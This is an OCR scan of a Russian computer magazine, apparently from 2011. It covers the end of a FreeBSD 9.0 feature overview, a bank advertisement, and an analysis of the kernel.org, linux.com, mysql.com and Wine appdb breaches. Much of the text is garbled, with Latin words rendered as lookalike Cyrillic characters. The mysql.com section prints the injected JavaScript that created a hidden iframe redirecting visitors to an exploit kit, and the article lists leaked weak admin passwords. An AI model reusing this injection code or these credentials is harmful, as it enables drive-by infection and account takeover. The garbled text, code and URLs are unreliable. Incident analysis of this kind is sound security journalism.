с 6СС на ИѴМ/СІапд. 

Для управления ресурсами, которые выделены под отдельные 
процессы, пользователей или ^іі-окружения, теперь доступен 
фреймворк ПСТІ_, который позволяет устанавливать ограничения 
на доступное количество памяти, процессорное время и любые 
ресурсы, контролируемые системным вызовом зеігі і т іі() . С по- 
мощью простой команды гсіі можно не только запретить группам 
процессов выходить за рамки лимита, но и настроить различные 
события, например оповещение процессов сигналом 5І6НІІР 
или запись сообщения в зузіод (которое затем сможет прочитать 
скрипт, выполняющий определенные ответные действия). 

Традиционная модель безопасности мандатного контроля 
доступа дополнена фреймворком Сарзісит, который позволяет 
изолировать приложения, при этом ограничиваемое приложе- 
ние выполняет только ранее определенные действия. Сарзісшп 
реализует ту же модель управления доступом, что и линуксовые 
ЗЕЫпих и АррАгтог, но делает это иначе. Приложение должно само 
устанавливать свои права на те или иные операции с определен- 
ными файлами и каталогами, обращаясь к системному вызову 
сар_пеѵѵ() или с помощью системного вызова сар_еп1:ег() заключая 
себя в песочницу, которая заблокирует все системные вызовы (или 
способы использования этих системных вызовов), которые могут 
привести к получению/изменению информации о других процессах 
и всей системе в целом. Необходимость модификации приложений 
— слабая сторона фреймворка, но, как показала практика, вносить 
изменения очень просто (для версіи т р понадобилось добавить око- 
ло десяти строк, а для сИготіит — около ста). 

Внесено очень много дополнений в ТСР-стек, который по праву 
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Рейтинг популярности ВБО-систем 



считается эталоном для других *піх-систем: улучшена работа на 
5МР-системах (с более чем 32 СРІІ), реализована группировка 
ТСР-соединений и их привязка к СРІІ, в ядро интегрировано пять 
новых модулей (НТСР, СІІВІС, Ѵедаз, НО и СНО), отвечающих за 
контроль перегрузки (Сопдез^іоп Соп^гоІ] в ТСР. Для более точного 
измерения параметров ТСР-потока используется модуль ЕРТТ 
(ЕпНапсесІ РоипсІ Тгір Тіте], который позволяет эффективнее 
управлять Сопдезііоп Сопігоі. 

Старый зузіпз^аІІ, который многие пользователи упрекали в 
топорности и ограниченности реализации, наконец заменен на 
модульный ВБОіпзІаІІ, имеющий ряд полезных возможностей. Напри- 
мер, он позволяет осуществить установку на несколько дисков, на 
бРТ-диск, в 2Р5 и в ЭаіІ. Благодаря поддержке расширений и скрип- 
тов автоматизации, возможности В50Іпз*аІІ могут быть существенно 
расширены и дополнены различными интерфейсами (графическим, 
текстовым, консольным] без изменения самого инсталлятора. Кроме 
того, В50іпзІаІІ способен значительно быстрее установить операци- 
онную систему. 

Добавлен новый универсальный ІІЗВ-драйвер, который обеспе- 
чивает поддержку устройств с интерфейсом 115В 3.0, соответствую- 
щих спецификации ХНСІ (еХ^епзіЫе Ноз* СопІгоІІег Іпіег^асе]. Этот 
интерфейс, совместимый со старыми контроллерами 115В 1. 0/2.0, в 
будущем должен заменить драйвера ОНСІ, ІІНСІиЕНСІ. 

Механизм журналирования для Зой ІІрсЫез в II Р5 теперь активи- 
рован по умолчанию. Это значит, что файловая система не только не 
теряет консистентности при сбоях, но может быть очень быстро вос- 
становлена без обязательного запуска {зек. В ІІР5 также появился 
режим ТРІМ, который повышает производительность при работе с 
550-накопителями и увеличивает их срок службы. 

Подсистема 6Е0М, на основе которой построено все управ- 
ление накопителями, научилась распознавать жесткие диски, 
имеющие размер сектора 4К, и правильно работать с ними. 




РгееВБР 9.0 собственной персоной 



Утилита драг* теперь корректно распознает такие диски во время 
разметки и выбирает правильное расположение первого сектора, 
при создании файловой системы ІІР5 автоматически выбирается 
размер блока 4/32 Кб. 

В ту же подсистему 6Е0М интегрирован фреймворк, позволяю- 
щий привязывать разные планировщики ввода-вывода к разным 
накопителям, за счет чего можно улучшить производительность 
при использовании накопителей разных классов. Также добавлен 
новый упреждающий планировщик дзсИесІ_гг, который обеспечи- 
вает отличную производительность в задачах с неравномерным 
доступом к данным. 

Реализация алгоритма АЕ5 для ОЕОМ-класса дискового шифро- 
вания 6ЕІ_І теперь использует режим шифрования ХТ5, который на 
сегодня имеет максимальную устойчивость к атакам на предсказа- 
ние содержимого зашифрованных блоков данных. 

Устаревшая система управления программными РАЮ-массивами 
аіагаіеі заменена на дгаіеі, которая не зависит от подсистемы АТА. Но- 
вая реализация, совместимая с любыми драйверами дисковой подси- 
стемы, основана на инфраструктуре 6Е0М и построена по модульному 
принципу. Благодаря этому базовый модуль отделен от модулей РАЮ- 
уровней и модулей для определения формата хранения метаданных 
на диске. Поддерживаются популярные форматы метаданных Іпіеі, 
ЛЧісгоп, N VI Б ІА, Рготізе и 5іІісопІтаде. Реализованы следующие 
РАЮ-уровни: РАЮО, РАЮ1, РАЮ1Е, РАЮ10, 5ІІ\І6І_Е, СОКІСАТ. 

В системе появился новый ОЕОМ-класс НА5Т, который имеет 
сходные с ддаіе функции, а также позволяет настроить репликацию 
блочных устройств на множество узлов кластера с восстановлением 
после сбоя и автоматическим делегированием полномочий тазіег- 
узла другой сетевой машине. 

Код 7Р5 обновлен до версии 28, которая обеспечивает такие воз- 
можности, как: 

• Автоматическое распознавание и объединение дубликатов дан- 
ных (дедепликация), благодаря чему большое количество файлов 
с похожим содержимым занимает гораздо меньше пространства 
на дисках. 

• Поддержка РАЮ23, который храниттри копии структур, ответ- 
ственных за сохранность да иных, что позволяет достичь очень 
высокой надежности. 

• Сра внен ие д вух снапшотов 2Р5 с помощью команды гіъсШ. 
Обновленный код ЫРВ-клиента и сервера теперь поддер- 
живает четвертую версию протокола. В реализацию файловой 
системы ІІР5 добавлен код для поддержки ЫР5ѵ4 АСІ_ в допол- 
нение к Р05ІХ АСІ_. И-И 
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«ДАРЫ ОСЕНИ» 

с 1 ноября ПО 10 декабря 

прими участие в акции и получи один из 3-х призов: 

_ \ - домашний кинотеатр 

МУ5ТЕКУ 

1 |ЁЯ11 - фотоаппарат 80ЫУ 

\ гіі ' комплект шин 
’ш Сопгіпепіаі 



подробнее на 

ѵт\ѵ.тапсаг<1.ги 



Мш 



Оформить дебетовую или кредитную «Мужскую карту» можно 
в отделениях ОАО « Альф а-Б анка », а также заказав по телефонам: 
(495) 229-2222 в Москве | 8-800-333-2-333 (для регионов России) 




МАХІМ 



Альфа-Банк 



щнзия банка России на осуществление банковских операций от 29.01.1998 №1326' 





ІЖІХОГО 



Евгений Зобнин (ехесЬк.ги] 






ПОДРОБНЫЙ АНАЛИЗ ВЗЛОМА 
КЕЯЫЕІ..0К6, 

иыііх.сом, 

ымихроіжоАтюм.оке 

, ИМѴ50І..С0М 



Тридцать первого августа весь мир облетела 
новость о взломе репозитория кегпеі.огд с 
исходными текстами ядра Ыпих. Еще через 
неделю стало известно о взломе Ііпих.сот 
и Ііпихіюипсіаііоп.огд, а в конце сентября 
был взломан тузді.сопп. Как произошли эти 
инциденты, кто несет за них ответственность 
и каких уязвимостей нам стоит опасаться? Обо 
всем этом ты прочитаешь в этой статье. 



ІШП 

На момент обнаруже- 
ния бэкдора, распро- 
страняемого с сайта 
тузді.сот, его умели 
выявлять только 
четыре антивирусных 
продукта: СІатАѴ, 
Кізіпд, ТгепсІМісго и 
ТгепсІМісго-НоизеСаІІ. 



РЕПОЗИТОРИЙ КЕРЫЕІ-ОРб, 
ИЛИ КАК ВСЕ НАЧИНАЛОСЬ! 



Информация об атаке на кегпеі.огд поступила, что называется, из 
первых рук. Двадцать девятого августа ^Ьп «ѴѴагіЬод9» Наѵѵіеу, ад- 
министратор кегпеі.огд, включил в список рассылки изегзйкегпеі.огд 
письмо ( ра5ІеЬіп.сот/ВКстМсІ47 ) с уведомлением о взломе ключевых 
серверов инфраструктуры. В письме говорилось о трояне, найденном на 
персональной машине разработчика НРА (Н Реіег Апѵіп), серверах бега, 
осііпі, а также, возможно, на бетеІег2, геизі и геиз2. Также в письме 
освещались результаты первоначального расследования. В его ходе 
удалось прийти к трем основным выводам: 

1. Взлом был произведен не раньше 1 2 августа. 

2 . Все действия взломщиков были записаны, код руткита найден. 

3. Факт взлома вскрылся благодаря ошибке доступа сервера Хпезі к 
файлу/беѵ/тет, которая в принципе не должна была возникнуть, 
поскольку иксы не используются на серверах проекта. 

Далее сообщалось, что в данный момент расследование про- 
должается, идут сверки сигнатур, проводится восстановление из 
бэкапа и т. д. и т. п. Таким образом, сервера кегпеі.огд оставались 
беззащитными перед взломщиками более двух недель, но этого 
не заметили не только разработчики Ыпих, что понятно, так как 
они работают с репозиторием через клиент біі, но и сам ѴѴагІбод9, 
который, судя по его странице на СоодІе+, является не только ад- 
министратором кегпеі.огд, но и его архитектором, а также бывшим 
системным инженером Збеа^ Зузіетз, системным администрато- 
ром С2 Місгозузіетз, программным инженером Огіоп МиШзузІетз, 
ѵѵеЬ-разработчиком Іоѵѵа Іпіегасііѵе и Университета Айовы. И это 



Автор бііоіііе, теперь 
используемого на 
серверах кегпеі.огд, 
считает свой проект 
настолько надежным, 
что готов выплатить 
$1000 любому, кто 
найдет в нем уязви- 
мость. 
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Четыре пробоины 



при том, что, как утверждалось, все действия взломщиков были 
записаны! 

Каких-либо подробностей Ѵ\/аііЬод9 не сообщил, однако в ходе 
дальнейшего расследования инцидента были обнаружены руткит 
РЬаІапх и открыто лежащий среди стартовых скриптов 55Н-бэкдор, 
которые ѴѴаііЬод9 почему-то не заметил. Интересно, что руткит РЬаІапх, 
на который свалили все грехи, представляет собой не что иное, как из- 
вестный с 2008 года логгер 55Н-ключей, который просто сидит в ядре и 
собирает ключи всех пользователей. Обнаружить его можно с помощью 
простой команды сд /еІс/кЬиЬ(±р2/ или скрипта гкЬипІег, которого, по 
всей видимости, не оказалось на серверах кегпеі.огд. 

Подробный отчет об инциденте пока не выпущен, однако до- 
гадаться, как действовали взломщики, нетрудно. Скорее всего, они 
взломали машину одного из разработчиков, украли у него 55Н-ключи 
от кегпеі.огд, получили доступ к одному из серверов, подняли права 
до гооі с помощью какого-то неизвестного эксплойта, а затем устано- 
вили на сервер РЬаІапх, который и выдал ключи от других серверов. 
Там, скорее всего, ситуация повторилась. В любом случае взлом 
выявил глобальную проблему инфраструктуры кегпеі.огд. Оказалось, 
что ее устойчивость к атакам фактически определяется устойчиво- 
стью машины каждого разработчика. 

Отрадно, что исходники ядра никуда не делись и не были из- 
менены. По словам СогЬеІ из Ыпих Роипсіаііоп ( аоо.аІ/7МѵПи ). это 
объясняется самим способом хранения и обработки исходников. 

Сіі хэширует все записываемые в репозиторий файлы, так что 
любое изменение внутри репозитория незамедлительно приводит 
к ошибкам согласованности. Более того, Сіі не только хранит хэш 
всего репозитория, но и имеет множество собственных копий на 
разбросанных по всему миру машинах разработчиков. Каким бы 
образом взломщик ни попытался изменить код, хоть вручную, хоть с 
помощью нового коммита, этот факт всплыл бы либо при провер- 
ке репозитория, либо при его синхронизации с другими копиями. 
Интересно, что, согласно одной из точек зрения по поводу того, по- 
чему взломщики хотя бы не попытались это сделать, они просто «не 
знали, где находятся». Учитывая характер взлома и используемые в 
его ходе инструменты, с ней вполне можно согласиться. 

Сразу же после того как факт взлома вскрылся, все сервера 
кегпеі.огд были остановлены для проверки и полной переустановки си- 
стемы. Официальный репозиторий ядра Ыпих был перенесен на хостинг 
дШиіЬ.сот, где, кстати, его можно найти до сих пор [ ЬИрзѴ/дііЬиЬ.сот/ 
Іогѵаісіз/Ііпих ). Пятого октября сайт и вся стоящая за ним инфраструкту- 
ра возобновили свою работу в прежнем режиме, однако администрато- 
ры учли свои ошибки и переработали общую архитектуру всего проекта. 

Отныне кегпеі.огд служит только репозиторием для исходных 
текстов, к которому нельзя получить 55Н-доступ. Ключи 55Н по- 
прежнему используются для доступа к Оіі, но работа с ним ведется 
поверх протокола НИР. Все репозитории размещены под учетной 
записью одного системного пользователя, но разделение прав 
доступа к отдельным веткам и репозиториям сохраняется благо- 
даря расширению бііоіііе, которое позволяет разделить доступ с 
помощью отдельной базы виртуальных пользователей и к тому же 
сделать управление полномочиями более гибким. Обо всем об этом 
можно прочитать в следующем письме: доо.дІ/1 ЬгРК . 

Информацию об инциденте до сих пор можно найти на главной 
странице кегпеі.огд (достаточно прокрутить страницу вниз). 



УДАР НОМЕР ДВА: ШІІХ.СОМ 

и имііхроішАтіом.окби 



Спустя десять дней после обнародования информации о 
взломе кегпеі.огд стало известно о компрометации Ііпих.сот и 
Ііпих^оипсіабоп.огд. Восьмого сентября пользователи обоих сайтов 
получили уведомление о том, что обнаружено вторжение со сторо- 
ны неизвестных лиц. В письме, не содержавшем никаких подроб- 
ностей, лишь кратко упоминалось о том, что этот инцидент, скорее 
всего, связан с взломом кегпеі.огд. Пользователям предлагалось 
сменить все свои пароли и 55Н-ключи, если они используются для 
доступа к другим сайтам. Далее следовали заверения в том, что 



ЗИе ІМеѵѵз 



• Ай п&ШшшішЯ*, кегпеі.огд зиТТегесІ а аесшііу ЬгеасП, Ёесаиае оГ ГОІ5, ш Н&іго іакеп ГОе йгпе го 
геапс-мееі ГО© зіго ш опйег й ігпргаѵа оиг вуйетз Тог йеиегореів ала иавге ог кегпаі.оід. ю ГОа? ѳпа, 

\ѵе ѵѵйиіа Ике а)І гіеѵеГОреій ѵ^іш ріеѵкдоіу Май ассезй го кегпеі.огд ѵѵТю юізП 'о сотіпие го изе і! го 
Ноет тнеіг ди алнз егоііе соптепс, то Теніош ГОе іпеішстіопе нага. 

НідПі пол, жшж.кетѳі.огд апб діікатеі.огд Паѵе ьеѳп ОгоидЬТ Ьаск опіііто. АЛ гіеш-Зорагдіилаав 
Наѵе Ьееп гетоѵесі Ігот діс, кегпеі.огд апо ѵлІІ Ье агійей Ьаск аз №е геіеѵат йеѵеіорегз гедаіп 
ассвве То ТНв зувіат. 

ТНвпкз ГО еіі ГОгуоиг раііеггсе агк! ипйѳпзшлсііпд йигіпд оиг оигод© апй рНэвзд Ьѳаг ѵѵ№ из аз ѵге 
Ьгігд ир ГОв йІНегапТ кетеі.дад вувівіт шаг ГОв пей ГО'.ѵ шеакз, Ше уѵгіИ Ьечтйпд ир а герои, оп ТНе 
іпсіаепі іп ГОЕиге, 

• ОП Аид 25. 20Ы Нарру 20П вігГОбау ипщ! 

Рог еѵегуопе ѵѵТю <1оезп'і кгюю. оп йтіз аау 20 уеагз адо, а Неізіпкі сей зіиаегит паліей Птоз 
ОесІагеО Тіа Пай а ІіШе ІтоВЬу 05 То врага ѵуіТЛ аѵвіуопе. ТігаТ аПдіпаі е-птіі сап Тн Топпй Папе. 
те іезі, аз тнеу зау, із шзгоіу! 

* Оп Дрпо а. гон зйгппд ас тірпідт ОТО №а Цпіи Кетеі АпеП№$ іми раріеіраів |п ѵѵогіа іРиб Рау : 
ѵге ніІІ епаЫе іРѵО оп аз глашу еТ оиг зегѵісез аз роійіЫе оп ГОаі йате Ас іТіаТ типе [Не ірѵб. кегпеі.огд 
тает айеігеез {еае йеіоѵ/) ѵѵЛі Ре гетіоѵасі. 

* Мау 12, 5011: Рог іезііпд ригро5в5 олТу. тге пшѵ Паѵе ал ІРѵБ зі№ аі НСТрУАрѵб.кегпеІ.огд . ТМз Із а 

Такая надпись теперь красуется на сайте кегпеі.огд 

І_іпих Рои псіаііоп заботится о своей безопасности и безопасности 
пользователей и что в ближайшее время работа сайтов возобно- 
вится в прежнем режиме. 

Однако на возобновление работы Ііпих.сот и Ііпихіюипсіаііоп.огд, а 
также смежных сайтов Ореп Ргіпбпд, Ыпих Магк и Роипбабоп еѵепіз 
потребовался почти месяц. Только 6 октября они стали доступны в 
своем прежнем виде для пользователей. Весь этот месяц на главных 
страницах сайтов висели заглушки с ответами на часто задаваемые 
вопросы по поводу произошедшего. В частности, на вопрос о том, 
действительно ли пароли на сайтах Ыпих Роипбаііоп хранятся в от- 
крытом виде, был дан ответ, что хэши тоже можно вскрыть. 

Как же это произошло? До обнародования результатов офици- 
ального расследования, если, конечно, они вообще будут оглашены, 
нельзя ничего сказать точно, тем более что, в отличие от админа 
кегпеі.огд, опубликовавшего хотя бы часть предварительных сведе- 
ний, администрация Ыпих Роипбабоп не предоставила вообще ника- 
кой информации. Однако тех скудных данных, которыми мы сейчас 
располагаем, вполне достаточно, чтобы выдвинуть предположение 
об использовании того же метода проникновения с перехватом 55Н- 
ключей и поднятием привилегий в системе с помощью локального 
эксплойта. Скорее всего, взломщикам удалось добраться до одной из 
машин кегпеі.огд или машин его пользователей, которая содержала 
55Н-КЛЮЧИ для доступа к какому-либо серверу Ыпих Роипбабоп, 
получить к нему доступ и использовать локальный эксплойт против 
ядра Ыпих или одного из системных компонентов дистрибутива. 

После возобновления работы Ііпих.сот и смежных ресурсов на сайте 
появилась новость ( юо.дІ/ІЧ1Р2Х ) о введенных изменениях. Профили 
пользователей были удалены, так что участникам пришлось проходить 
повторную регистрацию, появился новый форум. В связи с инцидентом 
и реорганизацией портала проведение конкурса Сиги-2012 на Ііпих.сот 
отложено на неопределенный срок. 



МУ50І..С0М, ИЛИ БЛЮДО ТРЕТЬЕ 



Двадцать шестого сентября компания Агтогіге ( доо.дІ/РОКВі ). 
специализирующаяся на продуктах для ѵѵеЬ-безопасности, сообщила 
о взломе тузціхот. Разработанный компанией сервис НаскАІегІ, 
который автоматически отслеживает вредоносное ПО на посещаемых 
пользователями сайтах, зафиксировал заразу на сайте Му5С1І_. Сотруд- 
ники компании незамедлительно подготовили отчет об инциденте. 

Оказалось, что в один из ^-скриптов, загружаемых с сайта, был 
внедрен код, который формировал незаметный для пользовате- 
ля ІРгате. Он, в свою очередь, осуществлял редирект на страницу 
1:гигиЫ : Ьдпѵіао5СІргие]е5І5иѵ.сх.сс/таіп.ріір, которая содержала 
макроэксплойт ВІаскНоІе ехріоіі раск. После запуска эксплойт исполь- 
зовал дыры в веб-браузерах и плагинах АбоЬе РІазИ, АбоЬе РйР и ^ѵа 
для загрузки на машину жертвы трояна МѴѴ^5:1 59, который перехва- 
тывал РТР-пароли пользователя для своего дальнейшего распростра- 
нения на другие машины (внедрение в РНР-, НТМІ_- и ^-файлы). 
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ІЖІХОІО 




^-код, внедренный в один из скриптов тузді.сот 



і* (гіосшмпі: 1см пЬяВуТвдМаие Г Ьогіу' ) [°3 3 I 

іСгшсо ; 

> ( 

сІосцпипС.чігіЪе Гсіігале яге ■ ! Ь: Ер : / / Іа ІояІМ . Ій/ іпіо/ і л . еді 1 ІіЕідік 

с- ' 1 о ■ «уі е- ' ѵ іэ иэ 1 1 и у ; Ыййв и; р« и і о» е зйэо іисе : іеіъ : о ; сор е 0? ■ ></ а ісем> м ) % 

> 

ЕипсЫоп іІгигпегЦ I 

ѵад г - сісіс шпени , етмсе Шеиклъ г і^сам 1 \ ; 

, '1т^Ър://&а1<»(ах, іп/ іпіс/ігьсдіТѴ ) ; 
і.а^Іе.ѵівІЫШу - * ІиЛе п ■ ? 

Е*зсуіе.розЬсіоп - 'вЬэоіис* 1 : 

Я*яеу1е*іеіі; - 0' 7 

С.ясуіе.^ор *• 1 0 1 і 
і + зеслссігіьус« ( ч иійсіі* * ’Ш‘)і 
{.аеШСпЬиСе ( 1 ЬсідЬЬ 1 , ■ 10' \ ; 

<ІоС иапе пС , десЕ 1 см пса ВуТЛдМмпс і Ьойу ' 3 [0] ■ йрріПЙСН іій < 1 1; 



.^-код, внедренный в один из скриптов ту5^I.сот (в развернутом виде) 



Йіііепііоп Ііпих.соіа впй ІЛпихРоипсЫіоПьОгд изегз. 

Не аге шгНіпд уои Ьегаизе уои Ьаие ап ассоипі оп Ііпих.сот, 
ЬгпихРоипйа^гоп.огд. ог осе оі іНе зиЬсІокгаіпэ заэосівіесі иНГі іЪеэе йотгипз, 
□п Зеріепйег 0, 2011, ше йізсаѵегес] а зесигііу ЬгеасЬ іИзі пну йаѵе 
еотргепѵізегі уоиг иеегпате, раеъшагЩ етаіі аеЮгеее алсі оіііег іпіогтаііоп уои 
Маѵе діѵеп іо из. Не Ьеііеѵе іЫз ЬгеасМ иез соппесіесЗ Іо іНе тігизіоп оп 
кегпеі .огд. 

РІ5 иіііі апу Іпігизіоп апб аз а таііег оі саиііош, уои зПоиШ солзШег ІПе 
раззліюгсіз апсі 35Н кеуз іНаі уои Ьаѵе изесі оп Шезе зііез сотрготізей. II уои 
Иаѵе геи$ей ІЬезе ра&Ешогйй оп аіЫг аііез, ріеаее еГіапде Міет іттегіійіеіу . 
Не аге сиггепііу аисШіпд а 11 зузіетз апб иШ ирйаіе риЫіс зіаіегоепіз ьЛеп 
ше Ітаѵе тоге іпіопваііоп. 

Не 1*аие Іакеп еіі Сіпих Роипйаііоп зегѵегз оІПіпе Іо йа сотріеіе 
ге-іпзіаііз. ІЛпих Гоипсіаііоп зегИсез шіП Ье риі Ьаск ир аз ІЪеу Ьесогве 
аѵаіЗаЬІе, Не аге щогкіпд агоипр іНе сіоск Іо ехресШе Щіз ргосезз апсі аге 
шогкіпд у НИ аиіЬогіііез іп іНе Нпііегі Зіаіез апО іп Еигаре іа аззізі шШі 
ІИе іпѵевіідаііоп. 

ТИе І-іпих Гоипбаііап іакез ІНе зесигНу аі ііз іпігазігисіиге апй іИа! аі 
^із (петЬегз еяігепѵеіу зегіоизіу апгі аге рдгзиіод аМ аѵ/епиез іо Іп^езіідаіе 



Копия письма, которое получили пользователи Ііпих.сот в день обнаружения взлома 



СОВЕТЫ ПО БЕЗОПАСНОСТИ ОТ 
КЕПЫЕІ_-ХАКЕРОВ 



После атаки на кегпеі. огд бгед КгоаИ-Наг^ппап включил в список 
рассылки пользователей кегпеі. огд письмо с инструкции по 
проверке компьютеров на вредоносное ПО. Хотя это письмо больше 
ориентировано на поиск определенного руткита, оно также содержит 
массу полезнейших советов и затрагивает такие вопросы, как 
использование программ типа сЬкгооІкіІ: для поиска руткитов, 
сверка сигнатур установленных пакетов для разных дистрибутивов, 
сверка подписей всех установленных пакетов, ручной поиск 
зловредного ПО, чтение логов. Это просто обязательная для 
ознакомления информация: аоо.аІ/ѴУѵСІ . 



Поскольку код находился на сайте более суток, можно предпо- 
ложить, что жертвами трояна стали тысячи посетителей. Админи- 
страция сайта отреагировала быстро и удалила код уже через шесть 
часов после обнаружения (в 22 часа по московскому времени). Одна- 
ко никаких сведений об инциденте и о способе получения доступа к 
серверам тузді.сот компания Огасіе так и не огласила, сославшись 
на то, что расследование еще не завершено. 

Тем не менее можно выдвинуть две версии о том, как зловред- 
ный код мог попасть на сайт тузді.сот. Первая и самая популярная 
опирается на новость, опубликованную компанией Тгепб Місго при- 
мерно за неделю до обнаружения кода. Двадцать шестого сентября в 
блоге компании появилась заметка о возможном взломе тузці-сот, 
ссылающаяся на сообщение человека, который известен на одном 
из российских андеграундных форумов под ником зоигсесОсІе. Он 
предлагал любому желающему купить за 3000 долларов гооі-доступ к 
трем серверам, обслуживающим сайт Му501_. Возможно, именно так 
злоумышленники и получили доступ к сайту, чтобы загрузить вредо- 
носный ЭВ-код на сервер. 

Однако эту версию трудно воспринимать всерьез. «Лот», пред- 
ложенный на продажу пользователем зоигсесОсІе, слишком похож 
на фейк. В подтверждение своих слов он смог привести только три 
невразумительных скриншота, иллюстрирующих выполнение ко- 
манд ипате -а и ѵѵЬоаті в среде Ресіога Соге 1 1 с установленным 
доменным именем вида Ыірі .ѵѵеЬ.туздІ.сот. Очень странно, что 
автор не привел более веского доказательства владения правами 
гооі, поскольку такую информацию можно совершенно законно по- 
лучить с помощью птар и сіід. Еще более странным кажется то, что 
люди, якобы купившие гооРдоступ, использовали его настолько 
небрежно. Обычно так делают в случаях, когда получить права 
выше ѵѵѵѵѵѵ невозможно и остается только дефейсить или вставлять 
в код эксплойт. 

Более реалистичное объяснение произошедшего намного проще. 
Сайт тузді.сот уже взламывали в марте этого года. Тогда взломщи- 
кам удалось выполнить 5(ЭІ_-инъекцию и утащить базы пользовате- 
лей и администраторов. Хэши паролей многих из них были быстро 
вскрыты и обнародованы. С учетом того, что у администрации сайта 
довольно специфическое представление о безопасности, о котором 
можно судить по таким парам логинов и паролей, как зузірбогштіб, 
зузасітща. и асІтіп:6661 (кстати, такие логин и пароль использовал 
директор по управлению проектами!), можно всерьез предположить, 
что после первого взлома некоторые администраторы либо продол- 
жили пользоваться своими старыми паролями, либо поменяли их на 
аналогичные комбинации символов, в результате подбора которых 
злоумышленникам удалось получить доступ к интерфейсу админи- 
стрирования ѵѵеЬ-сайта. 

Как бы там ни было, господам из тузді.сот стоит задуматься о 
пересмотре своего подхода к обеспечению безопасности ресурса — 
слишком уж часто он подвергается атакам. 
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Четыре пробоины 




Сообщение о продаже гооі-доступа к ту5^^сот 



Ап!іѵіги$ 


Ѵті<т 


[.аоШрбавд 


ГСе$Ші 


АИпіаЬ-ѴЗ 


2011 .09 >26.00 


2011.09.26 


- 


АПІІѴІГ 


7. 11 .15 + 34 


2011,09,26 


- 


АПІІу-АѴІ- 


2. 0.3. 7 


2011.09.26 


- 


Аѵаз! 


4,8,1351.0 


2011.09,26 


- 


Аѵа$*5 


6.0.1289.0 


2011.09.26 


- 


АѴС 


10.0.0.1190 


2011,09.26 


- 


еШе^епбег 


7,2 


2011.09,26 


* 


вуіеке го 


1,0, 0,1 


2011.09.23 


- 


САТ-фиіскнеаІ 


11,00 


2011,09,26 


- 


сіаідѵ 


0.97.0.0 


2011.09.26 


рид.раскей.АЗРаск 


СоліиЮисН 


5. 3,2, 6 


2011,09,26 


- 


сотойо 


10248 


2011.09.26 


- 


ОгѵеЬ 


5,0,2,03300 


2011,09,26 


- 


ЕмзШП 


5.1.0,11 


2011.09.26 


- 


езаГе 


7,0,17.0 


2011,09.26 


- 


етгизі*ѵе( 


36,1,8581 


2011.09,26 


- 


Р-РГОІ 


4,6,2,117 


2011.09.26 


- 


р-$есиге 


0,0,16440,0 


2ѲП.Ѳ9.26 


* 


рогііпе* 


4,3.370.0 


2011.09.25 


- 


СЕШа 


22 


2011.09,26 


- 


Ікагиз 


ТЗ. 1.1. 187.0 


2011.09.26 


- 


Лапдиіп 


13.0.900 


2011.09.25 


- 


К7АгПШги$ 


9.113,5184 


2011.09,23 


- 


казрегеку 


9,0,0,837 


2011.09.26 


- 


нсАТее 


5.400.0,1158 


2011.09.26 


- 


мсдГее-см-ЕсГтоп 


2010.10 


2011.09.25 




НісгозоП 


1.7702 


2011.09,26 


- 


N0032 


6494 


2011.09.26 


- 


ііогиі ап 


6,07.11 


2011.09.26 


- 


прго^ес* 


2011*09-26.02 


2011.09.26 


- 



Результаты поиска вредоносного ПО в файле, полученном с ту5^I.сот 



\Л/І N ЕН0.0Р0 И СМЕНА ПАРОЛЕЙ 
НА РЕООРАРРО^СТ.ОРОШ™ 



Одиннадцатого октября стало известно о взломе сайта еще одного 
известного орепзоигсе-проекта. На этот раз жертвой стал сайт проек- 
та ѴѴіпе, а точнее размещенная на нем база совместимых приложений 
аррсіЬ.ѵѵіпеЬц.огд. Эти подробности сообщил Эегету ѴѴЫіе, один из 
администраторов проекта. 

К счастью, на этот раз взломщики получили доступ только к 
базе данных пользователей. Сама база данных не пострадала, до- 
ступ к другим частям проекта, по словам Эегету ѴѴЫіе, также был 
вряд ли получен. Скорее всего, хакеры получили доступ лишь к 
ѵѵеЬ-интерфейсу управления базой данных рЬрМуАбтіп с помощью 
неизвестной уязвимости или украденного у одного из администра- 
торов пароля. В ответ админы сайта закрыли доступ к рЬрМуАбтіп 
из внешней сети и сбросили пароли всех пользователей. Тем, кто 
использует одинаковые пароли на нескольких сайтах, рекомендовано 
срочно сменить их. 

Остается только догадываться, зачем было выставлять 
рЬрМуАсІтіп во всеобщий доступ, располагая множеством инструмен- 
тов для безопасного удаленного доступа к интерфейсу управления 
базой данных, от 55Н-туннеля до ОрепѴРЫ. 

Днем позже администраторы инфраструктуры проекта Ресіога 
объявили о необходимости сменить пароли и 55Н-ключи всех поль- 
зователей, объясняя это тем, что подозревают о наличии проблем в 
безопасности, а также опасаются повторения инцидентов с сайтами 
кегпеі.огд, Ііпихіюипсіабоп.огд и Ііпих.сот. 

Пользователи должны изменить пароли до 30 ноября, иначе 
их аккаунты будут удалены. Новые пароли необходимо выбирать с 
учетом более строгих правил: пароль должен состоять из девяти сим- 
волов в разных регистрах, включая цифры и знаки препинания, или 
из десяти букв и цифр в разных регистрах, или из 12 букв и цифр в 
одном регистре, или из 20 букв в нижнем регистре. Такие требования 
должны полностью исключить возможность подбора паролей даже 
после кражи их хэшей. 



ВСЕ НОВОЕ — ЭТО ХОРОШО ЗАБЫТОЕ СТАРОЕ 



Этот год надолго запомнится всем нам чередой взломов откры- 
тых проектов. Но так ли все это ново? В действительности сайты 
открытых проектов взламывали всегда, но, пока дело не дошло 
до кегпеі.огд, никто не хотел этого замечать. В декабре прошло- 
го года был взломан репозиторий свободного ПО проекта 6І\Ш: 
заѵаппаЬ.дпи.ога . С помощью 5СИ_-инъекции взломщикам уда- 
лось завладеть базой пользователей и хэшами паролей, а затем 
вскрыть некоторые из них брутфорсом. Кроме этого, хакеры зачем- 
то сделали сайту дефейс и установили РНР-бэкдор. Сайт лежал 
48 часов, после чего администрация восстановила его нормальную 
работу, изменила украденные пароли и ввела проверку длины 
и надежности для новых паролей. Ни один репозиторий изменен 
не был. 

В апреле 2010 нападению подвергся сайт АрасЬе ВоКѵѵаге 
Роипбабоп, в результате чего снова утекла база данных пользовате- 
лей, но не самого сервиса, а только системы отслеживания ошибок. 
Через три дня нормальная работа сайта была восстановлена. Это 
была вторая крупная атака на арасЬе.огд после сентября 2009 года, 
когда хакеры взломали арасбесоп.огд, повысили привилегии с помо- 
щью Обау-эксплойта, добыли 55Н-ключи от аккаунта Ьаскир-сервера 
реоріе.арасбе.огд и установили бэкдор. 



ПОСЛЕДНЕЕ СЛОВО 



Все эти события произошли из-за халатного отношения людей, за- 
нимающих ответственные и высокооплачиваемые должности, к своей 
работе. Администраторы кегпеі.огд вообще не следят за своими серве- 
рами, сотрудники І_іпих Роипбабоп почему-то не догадались изменить 
55РІ-КЛЮЧИ и пароли, когда стало известно о взломе кегпеі.огд, а уж 
